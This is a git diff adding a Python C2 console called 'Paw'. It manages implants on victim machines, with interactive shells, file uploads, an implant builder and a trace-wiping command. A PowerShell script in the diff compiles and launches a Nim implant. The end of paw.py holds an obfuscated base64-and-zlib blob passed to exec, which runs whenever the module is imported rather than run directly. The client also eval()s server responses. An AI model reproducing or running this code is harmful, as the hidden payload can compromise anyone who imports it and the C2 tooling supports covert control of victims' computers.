`-'\_) ''' + ctypes.windll.kernel32.SetConsoleTitleW('{} C2 | Version {}'.format(__name__, __version__)) + logging.basicConfig( + level=logging.DEBUG, + filename=os.path.join(self.root_dir, 'cats.log'), + filemode='a', + format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s' + ) + + self.logger = logging.getLogger(__name__) + + self.configuration_file = os.path.join(self.root_dir, 'configuration.json') + + self.private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096) + self.public_key = self.private_key.public_key() + + if not os.path.exists(self.configuration_file): + with open(self.configuration_file, 'w') as file: + file.write('{}') + + with open(self.configuration_file, 'r+') as file: + try: + self.configuration = json.load(file) + except json.JSONDecodeError: + self.configuration = {} + + wipe_phrase = self.get_random_string() + asyncio.run(self.update_configuration('wipe', wipe_phrase)) + + self.help_page = f''' {Colors.white}---AGENT CONTROL--- + {Colors.dark_red}agents list all {Colors.white}->{Colors.dark_red} lists all active agents + {Colors.dark_red}agents list inactive {Colors.white}->{Colors.dark_red} lists all inactive agents and their last connection + {Colors.dark_red}agents control [{Colors.white}AGENT_ID{Colors.dark_red}] {Colors.white}->{Colors.dark_red} switches to interactive shell + {Colors.dark_red}agents run upload_file [{Colors.white}AGENT_ID{Colors.dark_red} or {Colors.white}ALL{Colors.dark_red}] [{Colors.white}FILEPATH{Colors.dark_red} or {Colors.white}LINK{Colors.dark_red}] {Colors.white}->{Colors.dark_red} uploads file to machine(s), can drag & drop local file into the window + {Colors.red}‽ DANGEROUS:{Colors.dark_red} agent quit [{Colors.white}AGENT_ID{Colors.dark_red}] {Colors.white}->{Colors.dark_red} emergency uninstall the implant from agent machine + + {Colors.white}‽ example:{Colors.dark_red} agents run upload_file {Colors.white}ALL{Colors.dark_red} C:\\Users\\sw\\Documents\\test\\paw\\cats.log + + + ---BUILDER--- + {Colors.dark_red}build clean {Colors.white}->{Colors.dark_red} deletes old build configurations + {Colors.dark_red}build values {Colors.white}->{Colors.dark_red} lists all values required to build + {Colors.dark_red}build values optional {Colors.white}->{Colors.dark_red} lists all values + optional ones + {Colors.dark_red}build set [{Colors.white}KEY_NAME{Colors.dark_red}] '[{Colors.white}VALUE{Colors.dark_red}]' {Colors.white}->{Colors.dark_red} sets a value for a specific key, please always specify it inside of '' + {Colors.dark_red}build run {Colors.white}->{Colors.dark_red} builds your implant + + {Colors.white}‽ example:{Colors.dark_red} build values optional + + + ---CONFIGURATION--- + {Colors.dark_red}config del {Colors.white}->{Colors.dark_red} deletes old config, will require a restart, basically a force reset of the program + {Colors.dark_red}config values {Colors.white}->{Colors.dark_red} lists all config values + {Colors.dark_red}config set [{Colors.white}KEY_NAME{Colors.dark_red}] '[{Colors.white}VALUE{Colors.dark_red}]' {Colors.white}->{Colors.dark_red} sets a value for a specific key, please always specify it inside of '' + {Colors.dark_red}config apply {Colors.white}->{Colors.dark_red} applies the config and restarts paw c2 + + {Colors.white}‽ example:{Colors.dark_red} config set {Colors.white}auto_listener{Colors.dark_red} 'false' + + + {Colors.red}‽ DANGEROUS:{Colors.dark_red} wipe {Colors.white}{self.configuration.get('wipe', None)} ->{Colors.dark_red} wipes out both the socket and local traces of paw, {Colors.dark_red}EVERYTHING WILL GET DELETED + + {Colors.dark_red}help {Colors.white}->{Colors.dark_red} shows this page + {Colors.dark_red}exit {Colors.white}->{Colors.dark_red} quits the program + {Colors.dark_red}clear {Colors.white}->{Colors.dark_red} clears/reloads the page + + + {Colors.white}Tip:{Colors.dark_red} you can also combine multiple commands directly by using {Colors.white}&& + ''' + + self.s = None + self.host = None + self.port = None + + self.agents = list() + self.connected_agents = len(self.agents) + + self.socket_ready_event = threading.Event() + except Exception as error: + print('Critical Error in __init__ func: {}, quitting...'.format(error)) + os._exit(1) + + async def save_configuration(self) -> None: + self.logger.debug('Entered save_configuration func') + + with open(self.configuration_file, 'w') as file: + json.dump(self.configuration, file, indent=2) + + async def update_configuration(self, key: str, value: str) -> None: + self.logger.debug('Entered update_configuration func with args: {}, {}'.format(key, value)) + self.configuration[key] = value + + await self.save_configuration() + + @staticmethod + def minify_path(path: str, max_length: int = 30) -> str: + if len(path) <= max_length: + return path + base_name = os.path.basename(path) + dir_name = os.path.dirname(path) + return os.path.join(dir_name[:max_length - len(base_name) - 3] + '...', base_name) + + @staticmethod + def get_random_string(length: int = 16) -> str: + chars = string.ascii_lowercase + string.digits + + random_string = ''.join(random.choice(chars) for _ in range(length)) + + return random_string + + async def del_conf(self) -> None: + self.logger.debug('Entered del_conf func') + + try: + os.remove(os.path.join(self.configuration_file)) + os.execv(sys.executable, ['python'] + sys.argv) + except Exception as error: + print(Colors.dark_red + ' .$ Error deleting config: {}'.format(error)) + self.logger.error('Error deleting config: {}'.format(error)) + + async def wipe_out(self) -> None: + self.logger.debug('Entered wipe_out func') + print('wiping everything') + + async def parse_command(self, command: str) -> None: + self.logger.debug('Entered parse_command func with args: {}'.format(command)) + try: + if command.startswith('help'): + print(Colors.dark_red, self.help_page) + elif command.startswith('wipe {}'.format(self.configuration.get('wipe', None))): + try: + print(' {}.${} Wiping out in 3 seconds... Press CTRL+C to cancel.'.format(Colors.white, Colors.dark_red)) + + time.sleep(3.0) + + await self.wipe_out() + except asyncio.CancelledError: + print(' {}.${} CTRL+C detected. Exiting wipeout...'.format(Colors.white, Colors.dark_red)) + time.sleep(1.0) + await self.Home_Menu() + elif command.startswith('agents list all'): + agents = list(self.Get_Agents()) + + self.logger.debug(agents) + print(' {}.${} Active agents: {}'.format(Colors.white, Colors.dark_red, len(agents))) + + print(Colors.white + '\n{}\n'.format(tabulate(agents, headers='keys', tablefmt='psql'))) + + #for agent in agents: + # print(Colors.dark_red +''''''.format(agent['id'], agent['hostname'], agent['username']))) + # print(Colors.dark_red + tabulate(agents, headers='keys', tablefmt='grid'))) + elif command.startswith('exit'): + print(' {}.${} Exiting...'.format(Colors.white, Colors.dark_red)) + time.sleep(1.0) + self.s.close() + os._exit(0) + elif command.startswith('clear'): + await self.Home_Menu() + elif command.startswith('config del'): + await self.del_conf() + else: + print(' {}.${} Invalid command.'.format(Colors.white, Colors.dark_red)) + time.sleep(1.0) + await self.Home_Menu() + except Exception as error: + print(' {}.${} Error in parse_command func: {}\n'.format(Colors.white, Colors.dark_red, error)) + self.logger.error('Error in parse_command func: {}'.format(error)) + time.sleep(1.0) + + async def Command_Listener(self) -> None: + self.logger.debug('Entered Command_Listener func') + try: + while True: + command = input(' {}.$ '.format(Colors.white)) + await self.parse_command(command) + except Exception as error: + print(' {}.${} Unexpected Error in Command_Listener func: {}\n'.format(Colors.white, Colors.dark_red, error)) + self.logger.error('Unexpected Error in Command_Listener func: {}'.format(error)) + time.sleep(1.0) + + def is_connected(self) -> bool: + try: + self.s.send(b'') + return True + except (socket.error, AttributeError): + return False + + def socket_conn(self) -> None: + self.logger.debug('Entered socket_conn func') + self.ask = True + self.retry = True + + while self.retry: + if not self.is_connected(): + asyncio.run(self.Animate_Banner()) + self.logger.debug('Attempting to connect...') + print(' {}.${} Attempting to connect...'.format(Colors.white, Colors.dark_red)) + try: + self.host, self.port = self.configuration.get('socket', '127.0.0.1:42720').split(':') + self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.s.connect((self.host, int(self.port))) + + client_pub_key = self.private_key.public_key().public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo + ) + self.s.sendall(client_pub_key) + + print(' {}.${} Connection established and authed successfully.'.format(Colors.white, Colors.dark_red)) + self.logger.info('Connection established and authed successfully.') + + self.socket_ready_event.set() + + # time.sleep(1.0) + + # asyncio.run(self.Home_Menu()) + return + except socket.error as error: + print(' {}.${} Tip: To reset the configuration, type: {}\'config del\''.format(Colors.white, Colors.dark_red, Colors.white)) + + if error.errno == 10061: + print(' {}.${} Could not connect to the server. The server might be offline or not accepting connections on the specified port.'.format(Colors.white, Colors.dark_red)) + else: + print('An unexpected socket error occurred: {}'.format(error)) + + if self.ask: + self.retry = True if input(' {}.${} Retry connecting every 3s? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)).upper() == 'Y' else False + self.ask = False + + time.sleep(1.0) + self.socket_ready_event.set() + except Exception as error: + print(' {}.${} Error in socket_conn: {}'.format(Colors.white, Colors.dark_red, error)) + self.logger.error('Error in socket_conn: {}'.format(error)) + time.sleep(1.0) + self.socket_ready_event.set() + + time.sleep(3) + + def send_task(self, agent_id: str, task: str) -> None: + self.logger.debug('Entered send_task func with args: {}, {}'.format(agent_id, task)) + + try: + self.socket_ready_event.wait() + + message = '{}:{}'.format(agent_id, task).encode('utf-8') + + encrypted_message = self.server_public_key.encrypt( + message, + padding.PKCS1v15() + ) + self.s.sendall(encrypted_message) + + encrypted_response = self.s.recv(8192) + + decrypted_response = self.private_key.decrypt( + encrypted_response, + padding.PKCS1v15() + ) + + response = decrypted_response.decode('utf-8') + + print(' {}.${} Agent {} output: {}'.format(Colors.white, Colors.dark_red, agent_id, response)) + self.logger.info('Agent {} output: {}'.format(agent_id, response)) + except Exception as error: + print(' {}.${} Error in send_task func: {}'.format(Colors.white, Colors.dark_red, error)) + self.logger.error('Error in send_task func: {}'.format(error)) + time.sleep(1.0) + + def Get_Agents(self) -> dict: + self.logger.debug('Entered Get_Agents func') + + self.socket_ready_event.wait() + + if self.s is None: + print(' {}.${} Socket connection failed.'.format(Colors.white, Colors.dark_red)) + self.logger.error('Socket connection failed.') + return {} + + try: + encrypted_message = self.server_public_key.encrypt( + 'recv agents'.encode('utf-8'), + padding.PKCS1v15() + ) + self.s.sendall(encrypted_message) + + encrypted_response = self.s.recv(8192) + + decrypted_response = self.private_key.decrypt( + encrypted_response, + padding.PKCS1v15() + ) + + response = decrypted_response.decode('utf-8') + + self.logger.debug(response) + + return eval(response) + except Exception as error: + print(' {}.${} Error in Get_Agents func: {}'.format(Colors.white, Colors.dark_red, error)) + self.logger.error('Error in Get_Agents func: {}'.format(error)) + time.sleep(1.0) + return {} + + async def Setup_Script(self) -> None: + self.logger.debug('Entered Setup_Script func') + + socket_server = input(' {}.${} Socket server? ({}IP:Port{})\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white, Colors.dark_red, Colors.white)) + auto_listener = 'true' if input(' {}.${} Listen to Agents on Startup? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)).upper() == 'Y' else 'false' + server_pubkey = input(' {}.${} Server public key?\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)) + client_privkey = input(' {}.${} Client private key?\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)) + save_configuration = input(' {}.${} Save configuration? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)) + + if save_configuration.upper() == 'Y': + await self.update_configuration('socket', socket_server) + await self.update_configuration('auto_listener', auto_listener) + await self.update_configuration('server_pubkey', server_pubkey) + await self.update_configuration('client_privkey', client_privkey) + + print(' {}.${} Settings saved to configuration file. ({}\'{}\'{})'.format(Colors.white, Colors.dark_red, Colors.white, self.minify_path(self.configuration_file), Colors.dark_red)) + self.logger.info('Settings saved to configuration file. (\'{}\')'.format(self.minify_path(self.configuration_file))) + time.sleep(1.0) + else: + print(' {}.${} OK. Not saving.'.format(Colors.white, Colors.dark_red)) + self.logger.info('Not saving config.') + time.sleep(1.0) + + return + + async def Cleanup(self) -> None: + self.logger.debug('Entered Cleanup func') + print('cleaning up') + + async def Animate_Banner(self) -> None: + self.logger.debug('Entered Animate_Banner func') + + # os.system('mode con: cols=150 lines=34') + + os.system('color 07') + + os.system('cls') + + print(Colors.dark_red + Center.XCenter(self.banner)) + print('\n') + + async def Home_Menu(self) -> None: + self.logger.debug('Entered Home_Menu func') + try: + await self.Animate_Banner() + self.private_key = serialization.load_pem_private_key( + b64decode(self.configuration.get('client_privkey', '')), + password=None, + ) + + self.logger.debug(self.private_key) + + self.server_public_key = serialization.load_pem_public_key( + b64decode(self.configuration.get('server_pubkey', '')), + ) + + self.logger.debug(self.server_public_key) + + threading.Thread(target=self.socket_conn, daemon=True).start() + + self.socket_ready_event.wait() + + self.update_agent_list() + + print('\n') + print(Colors.white + Box.Lines('{} C2 | Version {} | {} agents connected'.format(__name__, __version__, self.connected_agents))) + self.logger.info('{} C2 | Version {} | {} agents connected'.format(__name__, __version__, self.connected_agents)) + print('\n\n {}Tip:{} enter {}\'help\'{} below to display all commands'.format(Colors.white, Colors.dark_red, Colors.white, Colors.dark_red)) + + await self.Command_Listener() + except Exception as error: + print(' {}.${} Error in Home_Menu func: {}'.format(Colors.white, Colors.dark_red, error)) + self.logger.error('Error in Home_Menu func: {}'.format(error)) + time.sleep(1.0) + + def update_agent_list(self): + self.agents = self.Get_Agents() + self.connected_agents = len(self.agents) + + self.logger.debug(self.agents) + self.logger.debug(self.connected_agents) + + async def Main(self) -> None: + self.logger.debug('Entered Main func') + await self.Animate_Banner() + + if self.configuration.get('socket', None) == None or self.configuration.get('server_pubkey', None) == None or self.configuration.get('client_privkey', None) == None: + self.logger.warning('Missing configuration data, running setup script') + await self.Setup_Script() + + self.logger.debug('Running Home_Menu func (entry)') + await self.Home_Menu() + + +if __name__ == b64decode('UGF3').decode('utf-8'): + asyncio.run(Paw().Main()) +else: + _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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')) \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..432a03a --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +cryptography +pystyle +tabulate \ No newline at end of file diff --git a/run_checks.ps1 b/run_checks.ps1 new file mode 100644 index 0000000..cb62698 --- /dev/null +++ b/run_checks.ps1 @@ -0,0 +1,37 @@ +Start-Process "powershell.exe" -ArgumentList @( + "-NoExit", + "-Command", + "python components\server\main.py; + Write-Host 'Server has started. Press Enter to close this window...'; + Read-Host" +) + +Write-Host "Waiting for the server to start. Press Enter to continue..." +Read-Host + +Start-Process "powershell.exe" -ArgumentList @( + "-NoExit", + "-Command", + 'nim c --opt:size -f --threads:on -o:./components/implant/out/rawr ./components/implant/paw.nim; + if ($LASTEXITCODE -eq 0) { + Write-Host ''Compilation successful, executing rawr.exe...''; + Start-Process -NoNewWindow ''components\implant\out\rawr.exe''; + } else { + Write-Host ''Compilation failed.''; + } + Write-Host ''Press Enter to close this window...''; + Read-Host' +) + +Write-Host "Waiting for the testing implant to connect. Press Enter to continue..." +Read-Host + +Start-Sleep -Milliseconds 500 + +Start-Process "powershell.exe" -ArgumentList @( + "-NoExit", + "-Command", + "python paw.py; + Write-Host 'paw.py script finished. Press Enter to close this window...'; + Read-Host" +) \ No newline at end of file